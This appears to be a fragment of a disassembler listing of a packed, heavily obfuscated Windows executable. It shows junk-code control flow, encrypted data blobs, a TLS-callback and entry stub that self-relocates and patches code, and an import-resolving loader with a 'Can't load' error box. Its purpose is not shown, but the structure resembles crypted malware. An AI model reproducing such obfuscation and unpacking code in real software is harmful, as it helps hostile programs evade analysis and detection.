		dd 0FBA6E928h
		db 2 dup(0FFh),	41h
byte_418F53	db 3			; DATA XREF: sub_417E53+10F0o
		dd 37C081C5h, 0E984F58Bh, 0FFFFED2Dh, 2434878Bh, 6801895Eh
		dd 418398h, 0FFFD96E9h,	874BAAFFh, 5FFD8BEFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------

locret_418F7A:				; CODE XREF: sub_417E53:loc_41902Ej
		retn
; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------


loc_418F7C:				; CODE XREF: sub_417E53:loc_41942Ej
					; sub_417E53+1130j
		call	loc_4192AA
		sbb	ch, cl
		ja	short near ptr loc_418F7C+3
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	92h
		dd 0FDF2E96Ch, 0C081FFFFh, 34B447B8h, 0EA44F081h, 0C503D0B5h
		dd 595BC081h, 8B7885h, 418A7B68h, 0F3F5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_418FAE:				; CODE XREF: sub_417E53+E25j
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 850F4940h, 0FFFFFB29h, 0F155E568h, 8FE8589Ch, 0C0FFFFEBh
		dd 0B2FC9F68h, 0E6815E5Dh, 0C6044B1Eh, 481AF681h, 0C6034400h
		dd 41905A68h, 0FCC2E900h, 3A21FFFFh
; ---------------------------------------------------------------------------

locret_418FE4:				; CODE XREF: sub_417E53+BA4j
		retn
; ---------------------------------------------------------------------------
		db 68h,	0E9h, 0C4h
		dd 0C15E6C15h, 0F68109C6h, 0EB8CD705h, 765FC681h, 368B403Ch
		dd 0FFFB45E8h, 0E81030FFh, 0FFFFF74Eh, 43E90DF4h, 0FFFFEEh
		dd 0DE8B01C3h, 0FFFD73E9h, 830F48FFh, 0FFFFECABh, 0BF243C87h
		dd 41903Ah, 0C3243C87h
		db 0D9h, 8
; ---------------------------------------------------------------------------


loc_41902E:				; CODE XREF: sub_417E53+1239j
		jmp	locret_418F7A
; ---------------------------------------------------------------------------
		db 0A2h
; ---------------------------------------------------------------------------
		inc	esi
		jmp	loc_418E0A
; ---------------------------------------------------------------------------
		dw 0D568h
		dd 0E9004186h, 0FFFFFCD3h, 608C0F29h, 42FFFFE9h, 0FFFCC7E9h
		dd 0E9FD1BFFh, 0FFFFE950h, 875E4F2Dh, 0D2092404h, 4E3840Fh
		dd 0E9570000h, 0FFFFEFBDh, 0C603264Ah, 0FFEA21E9h, 8BF8FFh
		dd 0FFFD0FE8h
; ---------------------------------------------------------------------------
		jmp	fword ptr [edi-31h]
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_417E53+644j
		xchg	eax, [esp+4+var_4]
		pop	eax
		add	ecx, 0D04A5118h
		xchg	ecx, [esp+0]
		jmp	loc_41902E
; ---------------------------------------------------------------------------
		db 39h,	50h, 0E9h
		dd 0FFFFFB89h, 992CC4B1h, 1D5A6E68h, 0F2815A7Eh, 402F8D0Dh
		dd 0C281D503h, 0C1CD2899h, 3DE9128Bh, 2FFFFEBh,	98860FBAh
		dd 0E9FFFFE7h, 48Ah, 1487465Eh,	5ACA8B24h, 0FFEB51E9h
		dd 35E99CFFh, 89000002h, 8B582404h, 83DA6810h, 2FE90041h
		dd 0D0FFFFE7h
; ---------------------------------------------------------------------------


loc_4190E8:				; CODE XREF: sub_417E53+14ACp
		xchg	ecx, [esp+0]
		pop	ecx
		call	loc_4191FC
		db	3Eh
		inc	eax
		jg	near ptr dword_417850+73h
		rol	esi, 1Eh
		jmp	loc_418B08
; ---------------------------------------------------------------------------


loc_419101:				; DATA XREF: sub_417E53+6C0o
		xchg	ecx, [esp-4+arg_0]
		retn
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
word_419106	dw 1C87h		; DATA XREF: sub_417E53:loc_41850Eo
		dd 15E95324h, 81FFFFECh, 502AD9C1h, 0F9C1E80Ch,	0F7F4FFFFh
		dd 0FF97E9D5h, 0C89FFFFh, 8FE56824h, 98E90041h,	0DEFFFFF8h
		db 6Ah
; ---------------------------------------------------------------------------


loc_419131:				; CODE XREF: p89ykw6h:00417954j
		call	ds:dword_4110C0	; ExitProcess
		push	3D0EC5E6h
		call	near ptr sub_417E53
		adc	[ecx+0Fh], ebp
; ---------------------------------------------------------------------------
		dd 0FFE6EA8Fh, 240C89FFh, 72C18159h, 0E8B71B61h, 0FFFFFE09h
		db 0D1h, 9Ch
; ---------------------------------------------------------------------------


loc_41915A:				; CODE XREF: sub_417E53+10E8j
		mov	[esp+0], edx
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		sub	eax, edx
		jz	loc_418A56
		call	loc_4189F2
		pop	ecx
		call	ecx
		push	0BCC61A47h
		pop	eax
		jmp	near ptr dword_41795C+94h
; ---------------------------------------------------------------------------
		db 0C6h	; Æ
		db    0
		db 0C3h	; Ã
		db  68h	; h
		db 0FBh	; û
		db  79h	; y
		db  41h	; A
		db    0
		db 0E9h	; é
		db  3Ah	; :
		db 0F7h	; ÷
		db 0FFh
		db 0FFh
		db 7Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_41918D:				; CODE XREF: sub_417E53+778j
		jmp	loc_418C61
; ---------------------------------------------------------------------------
		dw 0B4FBh
		dd 0B4876268h, 0CA815A15h, 0DB2471E8h, 0F741F281h, 880FDFB4h
		dd 0FFFFF44Ch, 0F961820Fh, 1030FFFFh, 0FFF6BEE9h, 874DFCFFh
		dd 0FB93E90Bh, 6EFFFFFh, 0FE9C880Fh, 0E681FFFFh, 0CD94565Bh
		dd 0A3F7D281h, 0EBE94E05h, 0BA000002h, 0EA6E68E6h, 0C87972Fh
		db 24h,	8Bh, 0C1h
; ---------------------------------------------------------------------------


loc_4191E7:				; CODE XREF: sub_417E53+A5Aj
		pop	ecx
		add	eax, 6910CCBCh
		or	eax, eax
		jz	loc_4189D7
		jmp	loc_4194DE
; ---------------------------------------------------------------------------
		inc	edi


loc_4191FC:				; CODE XREF: sub_417E53+1299p
		mov	[esp-4+arg_0], edx
		pop	edx
		push	0DB99FD6Ah
		add	[esp-4+arg_0], 6BB707D2h
		call	loc_4185C2
		scasb
		in	al, dx
		shr	ebp, 5
		jmp	sub_4193B9
; ---------------------------------------------------------------------------
		db 1Eh
		dd 0E9E887BDh, 0FFFFF3ACh, 7AE9FB3Bh, 1FFFFFF7h, 23E9D933h
		dd 67FFFFF5h, 0B2E99DC3h, 0ACFFFFF2h, 0FFFE96E8h, 520DE9FFh
		dd 6242068h, 0C2815A92h, 6E3B6FEEh, 0E9241487h,	0FFFFF8E0h
		dd 0E61A890Fh, 1C89FFFFh, 0D2095B24h, 0EACE840Fh, 850FFFFFh
		dd 0FFFFEA48h, 0FFF262E9h, 200FC3FFh, 0E90E9BC3h, 0FFFFEC7Dh
		dd 0FFFF07E9h, 0D787E5FFh, 0FFF8FBE8h, 9DC381FFh, 9DEC62B4h
		dd 0E9241C87h, 0FFFFEE5Eh
		db 47h,	76h
word_41929E	dw 689h			; DATA XREF: sub_417E53+FD1o
		dd 418BD768h, 0F92CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4192AA:				; CODE XREF: sub_417E53:loc_418F7Cp
		xchg	esi, [esp-4+arg_0]
		call	near ptr dword_41795C+287h

locret_4192B2:				; CODE XREF: p89ykw6h:00417817j
		retn
; ---------------------------------------------------------------------------
		db 8
		dd 0FDE9FC39h, 0BDFFFFEEh, 0F6C1E8EAh, 21F5FFFFh, 32A5A461h
		dd 0EC840FEEh, 0E9FFFFF3h, 2F5h, 0F12E5C1h, 0FFF9A284h
		dd 0F672E9FFh, 0F796FFFFh, 0E6A9E9D6h, 0E825FFFFh, 63h
		dd 1DE90A01h, 0C6FFFFEDh
		db 8Ch
; ---------------------------------------------------------------------------


loc_4192F9:				; CODE XREF: sub_417E53+5FAj
		call	ds:dword_4110C0	; ExitProcess
		call	loc_4190E8
		movsd
		sub	cl, 0F6h
		jmp	far ptr	0B2C7h:0F704FFFFh
; ---------------------------------------------------------------------------
		db 0Eh
		dd 3E9BCEAh, 0C3FFFFFDh, 58850F49h, 0E9FFFFEBh,	0FFFFF217h
		dd 9D840F8Bh, 0E9000001h, 0FFFFF0E8h, 0F9815117h, 75FC6B3h
		dd 0FFE9D3E9h, 0C3FBABFFh, 36E94040h, 2FFFFFE9h, 418FB068h
		dd 14BE900h, 89C30000h,	0F5B241Ch, 0FFE67382h, 68108BFFh
		dd 418A6Ch, 0FFFFD6E9h,	0D5840FFFh, 0E9FFFFE7h,	0FFFFF414h
		dd 5F243C87h, 0E9241487h, 163h,	11C3EAB0h, 0E95BE8E3h
		dd 2F8BFFFFh, 0FFFBD0E9h, 0C0815FFFh, 0FBF5F247h, 0FFE9CDE8h
		dd 0E96836FFh, 0FFFFE6C7h
		db 7Bh,	0Bh
; ---------------------------------------------------------------------------


loc_4193A6:				; CODE XREF: sub_417E53+61Aj
		jmp	locret_418F26
; ---------------------------------------------------------------------------
		db 31h
; ---------------------------------------------------------------------------
		inc	ebp


loc_4193AD:				; CODE XREF: sub_417E53+11j
		push	offset loc_41847F
		jmp	locret_4184CA
sub_417E53	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0D7h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4193B9	proc near		; CODE XREF: sub_417E53+E5Cp
					; sub_417E53+13C3j
		xchg	edi, [esp+0]
		pop	edi
		mov	ebp, esp
		pushf
		mov	[esp+0], ecx
		jmp	near ptr dword_417E74+0CCh
sub_4193B9	endp

; ---------------------------------------------------------------------------
		dd 0E917C1C1h, 0FFFFF705h, 0C081D2E3h, 2F0BE7A0h, 0E7FC689Ch
		dd 81598720h, 0DF182CC1h, 0F818E978h, 330EFFFFh, 0F7B7850Fh
		dd 0C6E8FFFFh, 76FFFFEFh, 101860Fh, 0FB0B0000h,	5F243C89h
		dd 241C879Dh, 0FFF14BE9h, 68517AFFh, 0F971AAD2h, 0B2C98159h
		dd 8194C5DDh, 50E26CE1h, 0E9890F37h, 0E9FFFFE9h, 0FFFFF5ABh
; ---------------------------------------------------------------------------
		sbb	al, 0F4h
; START	OF FUNCTION CHUNK FOR sub_417E53


loc_41942E:				; CODE XREF: sub_417E53+ABAj
		jmp	loc_418F7C
; END OF FUNCTION CHUNK	FOR sub_417E53
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0E9D0E9EEh, 8975FFFFh, 0FAFEE92Fh, 16C3FFFFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
		db 36h,	87h, 3Ch
		dd 243C8B24h, 6856CF87h, 85DC7937h, 0E9AAE95Eh,	0DD81FFFFh
		dd 7B63A70h, 0FFFAAFE9h
		db 0FFh, 70h
; ---------------------------------------------------------------------------


loc_419466:				; CODE XREF: sub_417E53+AA3p
		xchg	edx, [esp]
		pop	edx
		push	3ADCBBE8h
		pop	ecx
		sub	ecx, 87D99FC8h
		or	ecx, 0CDDB1176h
		call	loc_418F14
		fsubp	st(1), st
		sbb	ch, bl
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	56h
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E53


loc_41948B:				; CODE XREF: sub_417E53+F54j
		jmp	near ptr dword_41809C+1Eh
; END OF FUNCTION CHUNK	FOR sub_417E53
; ---------------------------------------------------------------------------
		dd 0E4FD850Fh, 0EBE9FFFFh
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_419498+1 ; CODE XREF: p89ykw6h:loc_419498j
; ---------------------------------------------------------------------------
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
		db 0E9h, 0F2h, 0ECh
		dd 8171FFFFh, 41483EC1h, 9C098BD7h, 387C9168h, 811EBA9Bh
		dd 82E90041h, 0BA000000h, 0FFE8D6E8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E53


loc_4194C1:				; CODE XREF: sub_417E53+FD6j
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_417E53
; ---------------------------------------------------------------------------
		dw 0C21Bh
		dd 0FFE9CBE8h, 0E96D2AFFh, 0FFFFFC1Fh, 51240C87h, 0CC2595Dh
		db 0, 0A4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E53


loc_4194DE:				; CODE XREF: sub_417E53+13A3j
		jmp	loc_418E2E
; END OF FUNCTION CHUNK	FOR sub_417E53
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
		dd 4194E305h, 8F880F00h, 0C6FFFFFCh, 0ADE9C300h, 62FFFFF1h
		dd 2C87C303h, 5DDD8B24h, 58E89C53h, 0C9FFFFE3h,	0C068564Eh
		dd 5EE90548h, 8103C6C1h, 0B6A870C6h, 5ED60384h,	0B6E9128Bh
		dd 53FFFFF8h, 0CDE9D985h, 0FFFFFFEh, 0FFF67885h, 0EC67E8FFh
		dd 0E730FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E53


loc_419538:				; CODE XREF: sub_417E53+1700j
		jmp	locret_41852A
; END OF FUNCTION CHUNK	FOR sub_417E53
; ---------------------------------------------------------------------------
		db 0E9h, 0D0h, 0EBh
		dd 0F49FFFFh, 0FFFC5D85h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E53


loc_419549:				; CODE XREF: sub_417E53+CBBj
		xchg	edx, [esp+0]
		mov	eax, edx
		push	(offset	loc_41852B+2)
		jmp	loc_419538
; END OF FUNCTION CHUNK	FOR sub_417E53
; ---------------------------------------------------------------------------
		dd 2414896Ch, 3848685Ah, 81590F37h, 0D0173AC9h,	0FB11E828h
		dd 0E80BFFFFh, 0FFEEB0E9h, 0C10157FFh, 4DE90BE6h, 0F9FFFFEEh
		dd 5B880F0Bh, 89FFFFFBh, 0E9582404h, 0FFFFEF6Eh, 959FB955h
		dd 0C870041h, 0BFE9C324h, 87FFFFE4h, 0CCE9243Ch, 9DFFFFF9h
		dd 87C7F798h, 0E94CEE95h, 0FFFFE6B6h, 0E9C37DADh, 0FFFFF76Ch
		dd 0E9C703C3h, 0FFFFFB13h, 0FFF977E8h, 243C89FFh, 68EC8B5Fh
		dd 4187E7h, 0FFE8F2E9h,	8959D8FFh, 0EBEDE91Ah
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195E2	proc near		; CODE XREF: p89ykw6h:00417820p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00419737 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_408000
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax


loc_4195FA:				; CODE XREF: sub_4195E2+15Bj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_419691
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_4110B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_419627
		push	ebx
		call	ds:dword_4110B8	; LoadLibraryA
		or	eax, eax
		jz	loc_419689


loc_419627:				; CODE XREF: sub_4195E2+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]


loc_41962F:				; CODE XREF: sub_4195E2+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_41963F
		mov	eax, [esi+10h]


loc_41963F:				; CODE XREF: sub_4195E2+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_419737
		test	ebx, 80000000h
		jnz	loc_419666
		lea	ebx, [ebx+edx+2]


loc_419666:				; CODE XREF: sub_4195E2+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_4110BC	; GetProcAddress
		or	eax, eax
		jz	loc_419689
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_41962F
; ---------------------------------------------------------------------------


loc_419689:				; CODE XREF: sub_4195E2+3Fj
					; sub_4195E2+96j
		push	ebx
		mov	eax, ebx
		call	sub_419699


loc_419691:				; CODE XREF: sub_4195E2+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4195E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419699	proc near		; CODE XREF: sub_4195E2+AAp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_4196D0:				; CODE XREF: sub_419699+99j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_419711
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_411104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_4110C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0BEh
; ---------------------------------------------------------------------------
		pop	eax


loc_419711:				; CODE XREF: sub_419699+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_4196D0
sub_419699	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4195E2


loc_419737:				; CODE XREF: sub_4195E2+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_4195FA
; END OF FUNCTION CHUNK	FOR sub_4195E2
; ---------------------------------------------------------------------------
		push	ss
		inc	ecx

; =============== S U B	R O U T	I N E =======================================



sub_419744	proc near		; CODE XREF: startp TlsCallback_0p
		mov	eax, offset nullsub_6

locret_419749:				; DATA XREF: p89ykw6h:00419752o
		retn
sub_419744	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp]
		sub	ebx, offset locret_419749
		mov	eax, 1B12h
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_4110C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset nullsub_6
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_417692
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp]
		push	8000h
		push	0
		push	eax
		mov	eax, 4110C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_4197FF
		mov	ebx, eax
		call	loc_41981C
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197FF
		push	ebx
		mov	ebx, ecx


loc_4197CA:				; CODE XREF: p89ykw6h:004197DBj
					; p89ykw6h:004197EEj ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_4197DD
		and	eax, 0FFh
		jmp	short loc_4197CA
; ---------------------------------------------------------------------------


loc_4197DD:				; CODE XREF: p89ykw6h:004197D4j
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_4197F0
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_4197CA
; ---------------------------------------------------------------------------


loc_4197F0:				; CODE XREF: p89ykw6h:004197E5j
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_4197CA
		pop	eax


loc_4197FF:				; CODE XREF: p89ykw6h:004197B7j
					; p89ykw6h:004197C5j
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_419744
		add	eax, 103Ah
		jmp	eax
start		endp


; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: p89ykw6h:TlsCallbackso
		call	sub_419744
		add	eax, 0F80h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_41981C:				; CODE XREF: p89ykw6h:004197BBp
		call	sub_419825
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_419825	proc near		; CODE XREF: p89ykw6h:loc_41981Cp
		pop	esi
		retn
sub_419825	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0D2EE48F8h, 39BC446Eh, 0FE304978h, 0B99D6B06h, 0CFE56E31h
		dd 0D81A4D0Bh, 4DDED22Eh, 5AB01F39h, 489A38ACh,	0E843B0B2h
		dd 61360C3Dh, 0C79DEE99h, 8A278DA7h, 0E32DE4EAh, 0D7C4275Bh
		dd 0B47530BAh, 561953E0h, 27282E63h, 9DE1D0F9h,	0D6B2D8D0h
		dd 0D389CF55h, 0F90F169Eh, 94D36CFDh, 9AF272FDh, 0E265B3A3h
		dd 0BC169A90h, 86E9CE27h, 0EEB4B4B2h, 72B905h, 0D1CB2FFh
		dd 0C69E314Ch, 0D3E8063Ah, 0A56069C4h, 1E93CB62h, 0D458184Bh
		dd 0B53B1FD2h, 98CBBDC3h, 2A4ABFC7h, 0FEADD50h,	0FEF214Dh
		dd 0E624AF28h, 2792EAF0h, 71F924B5h, 0BC9AF576h, 7BFF631Fh
		dd 1F695928h, 0FA3209D7h, 0B5FE097Ch, 0E9147EBCh, 0B783C498h
		dd 23D98C51h, 0DD3A2ED2h, 0E27108DAh, 4357D3BDh, 9B4B8E75h
		dd 0A605F797h, 542BC0CCh, 69B1920Bh, 691FA9CDh,	0E56D010Eh
		dd 912AAE28h, 47C7C4Ch,	0EDBFB230h, 0EDF9679h, 1593A4BBh
		dd 2AD52A56h, 2E9EF6DBh, 2E0FBE4Ah, 0DDE379A1h,	9A539901h
		dd 4C97FE63h, 0ACBB0D58h, 7B7DDB1Eh, 5F18CA9Dh,	0CD6AFCA0h
		dd 0A6830245h, 443FDCBDh, 636698BCh, 0E8C4B355h, 7C957A68h
		dd 27AAB741h, 3FE76913h, 1C7D45A3h, 0C09AD21Bh,	13C236C7h
		dd 867E41DFh, 5F5D512h,	11AD2057h, 5818F1BEh, 0DE35FF53h
		dd 37BF29BBh, 9EF6D9C7h, 36B4ECD8h, 2C5594C8h, 0C259A8F9h
		dd 6746EEAEh, 94772F0h,	39EEE608h, 0C5812AC7h, 0E8743B7Ch
		dd 75D9EDD7h, 6F2774D4h, 8CCBEEE9h, 0FF01B4EBh,	0D4E79D8Ah
		dd 0E38D9A8Ah, 5B923A9Ah, 0B0A8F841h, 69DD929Dh, 0F64B74DAh
		dd 584259FAh, 131EE356h, 365D2077h, 8CC50C12h, 7A7DDB1h
		dd 0C1A4E976h, 1D1EEFFEh, 0CE1843h, 180h dup(0)
p89ykw6h	ends

; Section 6. (virtual address 0001A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0001A000
; Flags	40000080: Bss Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read
vg04p5yg	segment	para public 'BSS' use32
		assume cs:vg04p5yg
		;org 41A000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 45CC1DA3h, 0DC0D9350h, 0D78C1832h, 0FADF7D1Bh, 6BF9150Bh
		dd 0A57CAD54h, 77DA9247h, 2B2EC84Dh, 408F7056h,	0F6CF7F49h
		dd 69672AA9h, 83AF0275h, 0BE54F41Fh, 0A5A7BDA1h, 593C4399h
		dd 87CE9119h, 67785B0h,	12CE280Ch, 6666E349h, 0D9442C38h
		dd 0D4AE591Bh, 5C156D31h, 4DC1B51Ah, 24711F58h,	35566F09h
		dd 0C73A83E4h, 0F601F71h, 0F0BE4598h, 5472B436h, 0FBB6593Ch
		dd 1AB22016h, 0D4D6E3E9h, 40858467h, 0AEB35875h, 7D0873B6h
		dd 3657CC75h, 0F5CED3A5h, 2A9EB8B1h, 7CB96CE9h,	9C4C78A5h
		dd 0FABFF986h, 1C0530B6h, 0CA4B0B1Fh, 0BDF3182Ah, 81BE9E20h
		dd 17E39D51h, 56ECDF81h, 1C8CBC51h, 0DC2D5D6Ah,	0FDCDF274h
		dd 52C593A1h, 2839256Dh, 98E793B1h, 2A51DE9Ah, 346F6B08h
		dd 0D972EC9Bh, 0C161F2A0h, 5999FA20h, 0F3F8D717h, 95985952h
		dd 0A2FD6C52h, 5F9DDC2Ah, 0DE7405B1h, 2FE34285h, 0D1AA8D10h
		dd 0ABC85F07h, 3D589030h, 0DDF9D89Dh, 40752850h, 14A44A17h
		dd 0C23368BDh, 0E144DAB5h, 6938AF1Eh, 7C7F0F3Bh, 182534DDh
		dd 47B9D7B5h, 294B9B88h, 60ABC76Eh, 94D91A0Dh, 76B082EEh
		dd 0CA4C8792h, 5C2FD7Ch, 1C383C0Eh, 0BC00F481h,	4E72C245h
		dd 64630FCCh, 19BA1165h, 22A41144h, 0DAEF4BBEh,	50F60D57h
		dd 0FCE0BA24h, 6F9EC9A9h, 0A90CCC93h, 22695B61h, 0C36DD6C5h
		dd 1B2C8F9Ch, 4108BB8h,	155D5C7Ah, 0A18682F9h, 0FDCDB8D0h
		dd 488F7CF5h, 78A4AB46h, 0EDA59A7Ah, 0B87CF5AEh, 0BA87C22h
		dd 5F091DC7h, 0DAB7224Ah, 0D16E3CBFh, 7D208931h, 2A6B5A41h
		dd 8BD4D3A5h, 27DB6BA2h, 11F2536Fh, 6441DF2h, 8AC75253h
		dd 0B9890EA6h, 0BFAE4F40h, 88AF7FCEh, 8A167CD5h, 361AFB23h
		dd 8FA74534h, 251DCFD1h, 0AC33CFBAh, 0C9DBF505h, 7E1E9A85h
		dd 0FB1F9A38h, 91641559h, 0D74EC180h, 380h dup(0)
vg04p5yg	ends

; Section 7. (virtual address 0001B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 41B000h
		align 2000h
_idata2		ends


		end start